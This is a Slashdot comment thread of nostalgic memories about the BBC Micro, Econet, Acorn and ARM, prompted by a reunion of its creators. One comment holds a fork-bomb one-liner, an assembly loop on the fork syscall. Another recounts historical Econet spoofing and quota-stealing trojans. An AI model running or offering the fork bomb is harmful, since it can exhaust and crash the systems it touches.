BBC Micro Creators Reunite In London
mustrum_ridcully writes "This week some of the original creators from Acorn Computers who developed the BBC Micro home computer are coming together again at the Science Museum in London to discuss the legacy of the computer fondly known in the UK as 'the Beeb'. This news is being carried, of course, on the BBC. The BBC Micro sold some 1.5 million units and helped fund Acorn's development work on the Acorn RISC Machine processor — also known as the ARM processor used today in countless mobile and embedded devices."
10 PRINT "FIRST POST!"
20 GOTO 10
(stupid lameness filter objecting to my caps)
Aide-toi, le Ciel t'aidera - Jeanne D'Arc.
While I was always a Spectrum guy at heart, I do have fond memories of my school's BBC "B"s. You always got the feeling that they were _real_ computers. I mean, they had operating systems and everything...
IMHO, the Beeb always seemed a bit dull. It was what you used at school, when you had to peck through dull basic programs under the watchful eye of teacher.
At home is where you had a ZX Spectrum, and where you had free reign and did the real inventive programming.
The Beeb was probably the better machine, but the speccy was where the real fun was.
mainly for the games. Codename: Droid, Citadel, Labyrinth...
I got nostalgic a few months ago and made some longplay movies on YouTube
Codename: Droid
Citadel
Labyrinth
I really should just remake some of these games...
Summation 2
..has a growing Archimedes collection........I should probably not tell people this.
;?)
I was going to say "think this is great news", but then realised
Not too funny, but I used to call it BBC MY CROW.
Didn't have such things when I was at school - it was paper and pencils,ink in ink wells on your desk and learning your times tables by rote. You youngsters don't know how lucky you were..blah blah Now get off my lawn!
Awful UID - but I have been here ages...
"Beeb" is a name for the whole BBC, not just the machines....
And yes, i had one too, bought for me by my father....said it was "chipped", whatever that meant; it was probablly supposed to convince me it had superpowers or something, but anyway, this machine was my foundation of everyone's first program....
10 print "hello world bum bum willy willy weeeeeeeee!"
20 goto 10
Ok ok, so I was 8-9 - give me some credit...
throw new NoSignatureException();
If the idiots in charge had brought the price of the Archimedes down to that of the Atari ST, it would have dominated the market when the Amiga, Atari ST and Archimedes were in vogue, and we might now all be using RISC OS based PCs, instead of Microshaft.
But the idiots in charge of the Archimedes' price refused to bring the price down - they would rather sell a few at a large profit per unit, and then lose the market, than sell the most at a smaller profit per unit...
Co designer of the what is probably the most popular Instruction Set Architecture in the world the ARM. She also designed the Acorn Atom microcomputer, forerunner of the BBC Micro and wrote the improved version of Basic which caused the BBC to sign the contract
http://en.wikipedia.org/wiki/Sophie_Wilson
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Go check out the Listening Post, also at the Science Museum. Sit through its whole cycle (~30 minutes)
Hands down the coolest, most impactful, art installation I've ever seen.
(And yes, this is sort of on topic because it has to do with the Science Museum)
I have two BBC Micros (one with an internal IDE hard disc and double density floppy controller, sideways RAM banks, and another fairly standard one with the Intel single density disc controller).
Back 'in the day', a friend and I wrote a MUD (multi user dungeon) for the BBC Micro, on Econet, since our school had quite a few of them connected together via econet.
It was an ungodly mish-mash of 6502 asm and BBC BASIC. It's a wonder that it worked at all, let alone reasonably well. Since we couldn't get the game into one machine, we made it client/server before either of us had actually heard the term client/server! The server was an almost unused Torch BBC compatible machine, donated to the school - no one wanted to use it because it had a rather odd keyboard layout and a few other non-standard things, but otherwise, worked like a BBC Micro and had a Z80 second processor (unused by our server). Clients displayed things like location descriptions, item descriptions etc. while the server kept track of game state.
Some things were also peer-to-peer, if a player 'shouted' a message, it went peer-to-peer. But if a player used 'tell' to privately tell someone else something, it was routed via the server which only sent it to the right econet station. The server kept track of what was allowed, so people couldn't cheat by loading a different exits file into the client.
We could only run it three days a week because it was pretty popular. We were only allowed to run it at all because the head of computing obviously saw that we were learning from the experience of writing and maintaining the monstrosity we had created. It taught me many valuable lessons about software that communicates.
I only had a Spectrum at home (couldn't afford a Beeb!), but it's another 8 bitter I really like. I have six of those now, and I'm designing an ethernet card for the Speccy. Once the Spectrum one's done, I'll do the same for the Beeb (which should be electronically far simpler, because the BBC has much better support for adding new ROMs, and a proper formal way of telling the MOS that you've done it).
Good times.
Oolite: Elite-like game. For Mac, Linux and Windows
I had a BBC B and then later a BBC Master 128 (which I upgraded to a BBC Master Turbo). I learned BASIC, Forth, Lisp, Pascal, C and 8502 assembler on the BBC Micro before I even got to University. I learned most of the 1st year CS algorithms and data structures course from Beebug (the BBC Users Group) magazine.
The BBC had what, at the time, was a "proper" operating system on a home computer and you could patch all of the system calls so that you could inspect and modify the behaviour. With the excellent Exmon machine monitor and the BBC Advanced User Guide, the machine was a treasure trove for an aspiring programmer.
I don't think there's anything comparable that a 12 year old kid can really get a chance to understand anymore.
...when I was 7 or 8. I'm still recovering.
Any of those games were perfectly good fun - and Stryker's Run even had a very decent musical score coming out of the 4 channel (3 melodic, 1 percussion) synth on a BBC Master 512k.
Not to mention that you could get BBC Micro magazine and write new games by copying them from the pages and experiment with them. open source games as far back as then. I remember when they added a CRC routine and CRC codes in front of each line so you could easily spot where you made a typo. Or if something didn't work, you could mail it to them and you'd get your own 'patch' code published and distributed that way.
Ahhh... fond memories of, among other, Clogger.
Don't get me wrong, they weren't the flashiest games, but they were more than decent and fun.
Who can remember what was at memory address 0x3CA?
Hint: think tapes, the vertical blank interupt and the *load command.
Answer in rot13:
Vg pbagnvarq gur syntf jura ybnqvat n svyr naq yrg lbh *ybnq tnzrf gung jrer 'cebgrpgrq' gb bayl nyybj *eha vs lbh znfxrq bhg gur zbfg fvtavsvpnag ovg. Guvf jnf hfrq ol cerggl zhpu rirel purng jevggra sbe OOP tnzrf.
I can recall my school being given a prototype to test - this must have been around 1979-80 and I was about 14.
Up to then we had been using a couple of green-screen Commodore PETs, then one day this large colour TV appeared in the corner of the 'computer room'; it had a large, grey 'keyboard-in-a box' hard-wired to it via a cable about as thick as a vacuum cleaner hose! Test programs were supplied on micro cassettes and we could also download software over-the-air from CEEFAX.
I used to open up the computer room each morning (I somehow managed to acquire a key!) and sit in front of this anonymous, 'not-yet-a-beeb' computer, programming away or using it to read the news on CEEFAX.
AT&ROFLMAO
1. Sir Arthur dies;
2. The reason for my chosen career and hobby gets a story on Slashdot. I owned a Model 'B', then a couple of 128s. I helped (as a pupil) to run the Econet-based system at Oundle School in 1986-87, which I believe got some of its kit early due to links with Cambridge. By the time I left, we'd got a 20MB drive on the network. Quite an upgrade, since we'd previously depended on a couple of double-sided floppy drives as storage for the classroom.
Notable projects included an abortive attempt to write a robot control language running from EEPROM (*UP, *LEFT, *GRIP). That and an endless struggle to beat the tape protection on games.
How I wish I'd kept the machines. I moved onto an Archimedes or two, then moved away from coding into gaming with an Amiga.
There haven't been many computers with such easily accessible programming power (I owned several Sinclair Research machines and found the idiotic keyboard "auto-type" got in the way of thinking more than it speeded things up).
Incidentally, we never called the computer 'Beeb' - that's the name for the old Corporation (often as "Auntie Beeb").
Happy days.
PHB: The smell of fresh ficus-- It transports me back to my youth. Summers in the Catskill Mountains. Ah...we'd all go to Turtle Pond to swim and laugh and play games amongst the wild ficus. One day, tragedy struck. A turtle made off with my trunks. I stayed in the water as long as I could but the water was cold.
Soon...
A crowd formed.
They gave me a nickname on the spot--
One that still haunts me.
Acorn.
My awful, non-French parents even named their dry cleaning store Acorn. But that's all in the past. What do you have for me?
Dilbert: We just need your approval on our next product name. Salmonella.
- Ada Countess of Lovelace (programming the Difference Engine) - died tragically
- Jocelyn Bell (Pulsar researcher)- still with us fortunately
- Rosalind Franklin (DNA structure)- died tragically
- Sophie Wilson (Microcomputer pioneer) - AFAIK still with us
Rear Admiral Grace Hopper (Early computer designer and COBOL originator) had the good sense to be a North American and so didn't have to watch the men steal all the credit.Scientific American always carefully credits Jocelyn Bell for pulsars, although Hewish got the Nobel. Let's hope someone at the BBC can read /. and fixes the credits.
From scarped cliff or quarried stone she cries "A thousand types are gone, I care for nothing, no not one."
So anyone can now get a BBC Micror unning on their PC thanks to emulators. Anyone recommend a particular BBC Micro emulator? There's a whole bunch here:
http://bbc.nvg.org/emulators.php3
heck, there are BBC Micro emulators for the PSP now!
I remember Input magazine had a competition to write a program for the BBC in 1 line of code (255 characters). The winner wrote a rotating ball program.
255 CHARACTERS!!! That was the Beeb alright. Best machine for learning coding. Also allowed you to try out assembly.
America, Home of the Brave.
Econet ... a good example of why you shouldn't design a network with
zero security for use by schoolchildren.
Amongst its many flaws: You could spoof any machine on the network just by POKE-ing a single address (the machine's address was a single byte, I guess they never expected more than 256 machines on a single shared segment). I think the command was ?3362 = <node>
You could send text messages to anyone on the network. But get this: the messages were injected into the remote system via the keyboard driver. That's right: You could TYPE REMOTELY ON ANYONE'S KEYBOARD over the network! What finally got me thrown out of the computing labs at school at age 14 was writing a program which typed on all the keyboards in the lab at the same time, controlling the whole lab from a single machine.
Another good one was the quota system used by the file server. It didn't store total/available, as any sensible system would. Instead each user had a single quota value (free space). The only problem was you could also write to anyone else's file, eg. appending data to a file owned by another user. When you did the append, your own quota would be diminished. But when the other user deleted the file, *their* quota would be increased. I wrote several trojan games which other people ran that surreptitiously appended to a file owned by me. Then by deleting this file, I could steal other people's quota and sell it back to them later.
Ah, misspent youth ...
Rich.
libguestfs - tools for accessing and modifying virtual machine disk images
While I agree that Elite was (is) a fantastic game, I'm amazed no-one else has mentioned Exile yet.
A huge world to explore, artificial intelligence, realistic physics; a truly great game.
I have never heard this computer described as "a beeb". It was always described as "one of those expensive BBC Acorns that only the children of the wealthy and schools have." This sounds like something invented by a Public Relations person from "The Beeb". I can quite easily imagine that all those 18 year-old ipod-wearing-skateboarding-dudes employed as executives by "Auntie BBC" or plain old "Auntie" would come up with something like this.
I do remember a colleague of ours at Glasgow University Dept of Computing Science, bought the last ever high end model (the Archimedes A400) of with all of his inheritance windfall because it would run Linux or possibly even Unix ( it was 1993 and Linus Torvalds had only just finished primary school probably with a post graduate doctorate on the abacus and the slackware distro was available as a download of 25 floppy disks...). He had arranged delivery to the faculty, probably because he had a student flat somewhere in Hillhead (!) and didn't want to risk it being stolen. Almost every member of the two research teams came out to stare in wonder and incredulity at the idea of spending over a grand on something that was so close to extinction you could almost hear it sighing.
"is that all there is?" asked my friend Charles, his voice rising a full octave, quite flabbergasted that all you got for your gbp1300 was a monitor, cpu, mouse and keyboard. (I might be wrong about the mouse)
Just imagine if it had been stolen - the police would have been looking for a thief with very little knowledege of computer hardware...
SCENE IN GLASGOW PUB NOT A MILLION MILES FROM GOVAN
Chick "How's it goan Shug? Whit's thet yu'v goat there, been on the rob huv yae?"
Shug "Sum idjit had yin of them computurrs sent tae his student flat in Hillhead, right next doar tae ma wee bruvver. So we baith nicked it. Naw bad, huh?"
Chick "Shug, yoo are a bawheidet clown. Huv you naw goan an stolen an effin Archimedes A400."
Shug "Haw, wait a minit, thet's a pure crackin computurr"
Chick "A crackin computurr wee man? Iz thet right. It disnae even run Windows 3.1 so its nae use tae onyone."......
Sounds of heavy object landing in skip behind a pub not a million miles from Govan.
Posts, MyBio or Sig, may contain satire, sarcasm, bolded nouns be sardonic or even witty & be Church of SD
Oh god they had to bring up the Acorns. Horrible horrible machines that were forced on kids nationwide. May be interesting from a tech POV for having a RISC OS but these things were incredibly slow to use (the way you loaded programs into the memory was a pain). At least that's my memory of them as a kid.
I see this grammatical construct used quite often lately, and it starts to get annoying. What's wrong with simply saying "Their purpose is to discuss the legacy of the computer"?
Is this the new "And I was like, and then she was like"?
SHIFT+BREAK
my password really is 'stinkypants'
In the 80s I was studying for my Physics degree. I wasted a lot of one year playing Elite but my Beeb redeemed itself when it came to my final year project. I computerised a first year lab practical experiment. I designed sensors, hardware to connect the sensors to my Beeb. I designed hardware to connect my Beeb to drive the equipment. I wrote the software in a mash of BASIC and assembler using interrupts and events. It even had a real time read out and scope (custom pixel plotting routines FTW). I got a first for the project after convincing the examiners during my viva that I hadn't faked the results and they were genuine. It saved my degree.
I used to code in my spare time too. I've had stuff published in Acorn User. Towards the end of the 80s I graduated in more ways than one. I got my degree and moved on to Acorn's ARM machines and learnt ARM assembler. Again getting stuff written and published. I used Acorn machines right the way through to the mid 90s. I wrote my thesis on one. Finally I moved on to PCs when Linux became a bit more mature but I didn't leave Acorns completely behind as I start playing with Linux on ARM and was asked to talk about Linux on Acorn machines. Now-a-days I'm a software consultant specialising in embedded devices and linux on embedded devices. I deal with MIPS and SH platforms but also an awful lot of ARM platforms. All thanks to my Beeb.
What,... you mean I can come out of this basement now?
Syntax Error
>_
Co-operation beats competition
Fond memories of rd90,fwd100... directing a `turtle`(?) round teachers legs. Struggling to her feet it appears her legs have been tied to the chair.
...getting to a higher level of Stig of the Dumb because I was the only one who could spell Clime correctly.
And then, behold! The Doomsday Project! Out comes teacher with a shiny disc bigger than Rolf Harris's wobble board. This thing holds the greatest collection of knowledge known to man - and it's scratched.
Seriously, this was the highlight of my whole education. If only the rest of it could have been play like that back then. In fact, I still wish I could play with this surveying equipment at work even today.
No better way to learn.
A blog I run for the wealth
I had a BBC Micro, model B, with 32KiB of memory. I started off with a tape drive and the fiddling of the volume on the tape player, before discovering the joys of the floppy disk. Certain applications were installed by adding a new ROM and hoping you didn't break any legs while doing it. My favourite games at that point were Elite, Frak and Repton.
:)
Move forward to the next century and my 1GiB of memory is still not enough
Jumpstart the tartan drive.
That's only partly true. I'm going from memory here, but it booted in to Teletext mode (mode 7) which had 40x25 chars. Pixels weren't addressable, though there were characters which woked like 3x2 pixel blocks. The characters were quite a lot higher resolution than in the other modes, but weren't programmable. It was stored as one byte per cell, so formatting characters made a blank space. The teletext mode was the same as the one used on TV, and specially equipped BBCs could pick up broadcast teletext.
Then there were the graphics (ish) modes. Pixels were addressable in a 1280x1024 grid, though there were rather fewer than that. The pixels in memory were stored in a funny way: the first 8 bits was 8 consecutive horizontal pixels. The next 8 bits were under the first 8 pixels and so on until it made up an 8x8 pixel square. Then, it moved on to the next 8x8 square in the row. Wierd.
Anyway, mode 0 was 640x256 with two colours chosen out of a palette of 16 (8 solid colours, and 8 flashing ones). Mode 1 was 320x256 and had 4 paletted colours, and Mode 2 was 160x256 with 16 colours. This meant that the text was very fat in mode 2.
Then there were the "text" modes. They were like the graphics modes, but had gaps between the 8 pixel deep lines to save memory. Mode 3, 4, 5 mirrored modes 0, 1, 2 but had Nx200 pixels. Mode 6 mirrored mode 4 but had only two colours.
Quite a choice there. I shall just end it with:
10 PRINT CHR$(141),"Long live the BBC!"
20 PRINT CHR$(141),"Long live the BBC!"
RUN
SJW n. One who posts facts.
Econet was never intended as some sort of secure system that would connect to the world at large. It was designed to connect a few isolated computers in a room. So what if it had security flaws? Wow , you could hack into a machine 6 foot away, BFD. Its not like the BBC had a 3DES login system to get past, it was an 8 bit micro with for the most part cassette based and ROM storage. Not exactly ideal an l337 hacker enviroment to embed viruses and mess up data.
OK, so I beat the Spacelord score only once (230,000 FTW!), and I got to the end of the reverse gravity, invisible landscape level. But, I hit the tunnel on the way out, and that was it. What happened next? What was the next level?
SJW n. One who posts facts.
What he said about games, plus Labyrinth, Repton, Citadel and Sentinel. I learned to drive on Revs. See my pages about classic games on the Beeb
(hmmm, am I asking /.'ers to RTFA?)
Co-operation beats competition
Seemed like the kids at my school who had "Beebs" tended to come from families that would be considered to be "middle class", whereas the rest of us scruffy lot had ZX Spectrums, Commodore 64s and a few with various ones like Acorn Electrons, Oric Atmoses and Dragon 32/64s.
I think it was Iain Lee who said, in the Channel 4 documentary "Thumb Candy", that parents gave their children BBC Micros if they wanted them to grow up to be accountants.
R Tape loading error, 0:1
where some posts the exact same comment, and a bunch of people reply to say that they did call them Beebs. HTH
my password really is 'stinkypants'
Shuggie's wee bruvver was posh. He had made his fortune grinding up Glasgow Council bucket lids (pre-wheelie bin era) and selling them to students in half quarter deals of Black. He lived in Hillhead (not far from the specialist bike shop in Gibson Street) and he of course owned a Mark III Cortina (the 1.6 ).The back seat was full of all the Shoppers he hadn't bother to deliver that week, so they dumped half of them outside The Ubiquitous Chip and crammed the Archimedes boxes in. But with no Road Tax, MOT, Insurance or driving license, I suspect he would have avoided the M8 (too many video cameras even in 1993) and gone past Glasgow Uni before sneaking through Partick, which was the Wild West then, and crossed the river at Victoria Park.
At least that's what my younger brother did...
Posts, MyBio or Sig, may contain satire, sarcasm, bolded nouns be sardonic or even witty & be Church of SD
Back then, at work I programmed mainframes in COBOL & Assembly Language; while at home I had fun programming in Acorn Basic on a BBC model 'B'.
Later I had a Master, and then an Archimedes.
At one time I had at least one BBC model 'B', two Master's, and an Archimedes. To be fair, I used the Archimedes, and my 4 children used the other machines. The Archimedes ran Risc-OS (a lovely user & developer friendly O/S, in ROM) and it had an 8MHz 32 bit Risc chip that outperformed a 24 MHz 386 running MS/DOS.
I taught myself 'C' on the Archimedes, and also wrote a few simple ARM2 assembler programmes. ARM assembly was the most beautiful assembly language I have seen, it beat 6502, 486, and ICL4/72 mainframe machine code languages.
I now use Java on Linux (dual core AMD64 with 4 Gig of RAM) - but I still have the fondest memories of my first BBC model 'B' micro, it had 32K Bytes, and a 2MHz 6502 8 bit processor.
-Nivag
Econet was designed and implemented by five people in ten days. That was from nothing to having a demonstration on the Acorn stand at an exhibition. Could you have done better in that time and at a price that made sense for the target machine? The BBC Micro did not exist at the time, so there might have been time to improve the design or make it more robust for the BBC Micro implementation but given the cost constraints and limited resources available in the machine it is not clear how much could have been done.
The remote keyboard control and ability to grab screen images were explicit design choices based on the expected use of the network. If the desigers were foolish it was perhaps in assuming that work on the necessary precautions or elimination of the feature would be done after the exhibition deadline had passed.
Those who know will understand when I say it was Roger who was involved with the BBC Micro and earlier machines. Sophie may prefer not to remember Roger but I do not think it is a good thing to try to rewrite history.